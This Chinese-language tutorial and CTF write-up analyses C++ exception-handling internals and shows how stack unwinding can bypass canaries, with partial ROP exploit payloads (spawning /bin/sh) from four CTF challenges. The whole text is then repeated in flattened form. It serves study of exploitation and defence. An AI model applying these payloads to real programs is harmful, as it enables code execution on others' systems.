C++异常处理的分析及攻击
字数 1353 2025-08-24 07:48:23

C++异常处理机制分析与攻击利用

一、C++异常处理基础

1. 异常处理核心概念

C++异常处理机制基于三个关键字:

  • throw:当问题出现时,程序通过throw关键字抛出异常
  • try:标识将被激活的特定代码块,后面通常跟着一个或多个catch块
  • catch:用于捕获异常,可以有多个catch进行不同类型的异常捕获

2. 异常处理流程

  1. 当异常被抛出时,首先检查throw是否在try块内部
  2. 如果是,则查找匹配的catch语句
  3. 如果没有匹配的catch,则退出当前函数栈,在调用函数的栈中进行查找
  4. 如果到达main函数栈仍无匹配,程序终止
  5. 找到匹配的catch处理后,继续执行catch块后的代码

二、异常处理底层实现

1. 主要函数调用链

  1. __cxa_allocate_exception:分配异常对象
  2. __cxa_throw:初始化异常对象
  3. _Unwind_RaiseException:开始栈展开(unwind)
  4. personality routine:栈展开时的回调函数

2. 关键函数分析

_Unwind_RaiseException()

_Unwind_RaiseException(exception) {
    bool found = false;
    while(1) {
        context = build_context();
        if(!context) break;
        found = personality_routine(exception, context, SEARCH);
        if(found or reach the end) break;
    }
    while(found) {
        context = build_context();
        if(!context) break;
        personality_routine(exception, context, UNWIND);
        if(reach_catch_function) break;
    }
}

__cxa_throw()

void __cxxabiv1::__cxa_throw(void* obj, std::type_info* tinfo, 
                            void(*dest)(void*)) {
    // 初始化异常头信息
    __cxa_refcounted_exception* header = __get_refcounted_exception_header_from_obj(obj);
    header->referenceCount = 1;
    header->exc.exceptionType = tinfo;
    header->exc.exceptionDestructor = dest;
    header->exc.unexpectedHandler = std::get_unexpected();
    header->exc.terminateHandler = std::get_terminate();
    
    // 调用栈展开
    _Unwind_RaiseException(&header->exc.unwindHeader);
    
    // 如果栈展开失败
    __cxa_begin_catch(&header->exc.unwindHeader);
    std::terminate();
}

__Unwind_Resume()

用于在异常被捕获处理后继续异常的传播,在一个catch块处理完异常后被调用。

三、异常处理的安全问题

1. 绕过Canary保护

通过异常处理可以绕过Canary检查,因为异常处理会直接结束函数调用而不执行常规的栈检查。

2. 攻击利用思路

  1. 覆盖函数的返回地址为自身或其他catch块头部
  2. 利用异常处理绕过Canary检查
  3. 构造ROP链实现攻击

四、实战案例分析

案例1: beginctf2024 mini_email

利用要点

  1. 异常处理结束后直接结束函数调用,绕过Canary检测
  2. 覆盖edit函数的返回地址为自身
  3. vuln的返回地址构造为ROP链
  4. exit后执行ROP链

EXP关键部分

payload = b'a'*0x128 + p64(0x402ee3) + b'a'*0x20 + p64(puts_got) 
payload += p64(mov_rax_ret) + p64(pop_rdx) + p64(puts_plt) 
payload += p64(mov_rdi_rax) + p64(ret) + p64(main_addr)

案例2: DASCTF X GFCTF 2024 exception

利用要点

  1. 必须将vuln返回地址覆盖为特定地址(pie+0x1408)才能找到catch块
  2. 控制rbp值使mov rcx, [rbp+var_18]刚好为canary
  3. 覆盖main的返回地址为ROP链

EXP关键部分

payload = b'a'*0x68 + p64(canary) + p64(stack + 0xa0) 
payload += p64(pie + 0x1408) + b'a'*8 + p64(canary) 
payload += b'a'*0x18 + p64(pop_rdi) + p64(binsh) 
payload += p64(ret) + p64(system)

案例3: DASCTF X GFCTF 2024 control

利用要点

  1. 返回地址必须为0x402237才能正确找到catch块
  2. 利用bss段存储/bin/sh字符串
  3. 部分覆盖rbp值实现栈迁移
  4. 1/16爆破成功率

EXP关键部分

payload = p64(pop_rdi) + p64(0x4d3350) + p64(pop_rsi) + p64(0) 
payload += p64(pop_rax) + p64(0x3b) + p64(syscall)
payload = payload.ljust(0x70, b'a') + b'\xe8\xdd'

案例4: 羊城杯2024 logger

利用要点

  1. trace函数漏洞可覆盖src内容
  2. warn函数将exception指向src
  3. backdoor函数中rax寄存器正好是exception指针
  4. 构造ROP实现攻击

EXP关键部分

# 填充日志记录
for i in range(8):
    p.sendlineafter(menu, str(1))
    p.sendafter("You can record log details here: ", b'a'*0x10)
    p.sendlineafter("Do you need to check the records? ", 'n')

# 写入/bin/sh
p.sendlineafter(menu, str(1))
p.sendafter("You can record log details here: ", '/bin/sh\x00')
p.sendlineafter("Do you need to check the records? ", 'n')

# 触发异常
p.sendlineafter("Your chocie:", "2")
payload = b"A"*0x70 + p64(bss + 0x800) + p64(0x401BC7) + cyclic(0x20)
p.sendlineafter("message", payload)

五、防御建议

  1. 避免在关键函数中使用异常处理
  2. 严格控制异常处理中的内存操作
  3. 对异常处理路径进行安全审计
  4. 使用现代编译器的安全特性(如CFI)
  5. 避免将用户可控数据用于异常处理

通过深入理解C++异常处理机制及其底层实现,安全研究人员可以更好地发现和利用相关漏洞,同时也能够更有效地防御此类攻击。

C++异常处理机制分析与攻击利用 一、C++异常处理基础 1. 异常处理核心概念 C++异常处理机制基于三个关键字: throw :当问题出现时,程序通过throw关键字抛出异常 try :标识将被激活的特定代码块,后面通常跟着一个或多个catch块 catch :用于捕获异常,可以有多个catch进行不同类型的异常捕获 2. 异常处理流程 当异常被抛出时,首先检查throw是否在try块内部 如果是,则查找匹配的catch语句 如果没有匹配的catch,则退出当前函数栈,在调用函数的栈中进行查找 如果到达main函数栈仍无匹配,程序终止 找到匹配的catch处理后,继续执行catch块后的代码 二、异常处理底层实现 1. 主要函数调用链 __cxa_allocate_exception :分配异常对象 __cxa_throw :初始化异常对象 _Unwind_RaiseException :开始栈展开(unwind) personality routine :栈展开时的回调函数 2. 关键函数分析 _Unwind_RaiseException() __cxa_throw() __Unwind_Resume() 用于在异常被捕获处理后继续异常的传播,在一个catch块处理完异常后被调用。 三、异常处理的安全问题 1. 绕过Canary保护 通过异常处理可以绕过Canary检查,因为异常处理会直接结束函数调用而不执行常规的栈检查。 2. 攻击利用思路 覆盖函数的返回地址为自身或其他catch块头部 利用异常处理绕过Canary检查 构造ROP链实现攻击 四、实战案例分析 案例1: beginctf2024 mini_ email 利用要点 : 异常处理结束后直接结束函数调用,绕过Canary检测 覆盖edit函数的返回地址为自身 vuln的返回地址构造为ROP链 exit后执行ROP链 EXP关键部分 : 案例2: DASCTF X GFCTF 2024 exception 利用要点 : 必须将vuln返回地址覆盖为特定地址(pie+0x1408)才能找到catch块 控制rbp值使mov rcx, [ rbp+var_ 18 ]刚好为canary 覆盖main的返回地址为ROP链 EXP关键部分 : 案例3: DASCTF X GFCTF 2024 control 利用要点 : 返回地址必须为0x402237才能正确找到catch块 利用bss段存储/bin/sh字符串 部分覆盖rbp值实现栈迁移 1/16爆破成功率 EXP关键部分 : 案例4: 羊城杯2024 logger 利用要点 : trace函数漏洞可覆盖src内容 warn函数将exception指向src backdoor函数中rax寄存器正好是exception指针 构造ROP实现攻击 EXP关键部分 : 五、防御建议 避免在关键函数中使用异常处理 严格控制异常处理中的内存操作 对异常处理路径进行安全审计 使用现代编译器的安全特性(如CFI) 避免将用户可控数据用于异常处理 通过深入理解C++异常处理机制及其底层实现,安全研究人员可以更好地发现和利用相关漏洞,同时也能够更有效地防御此类攻击。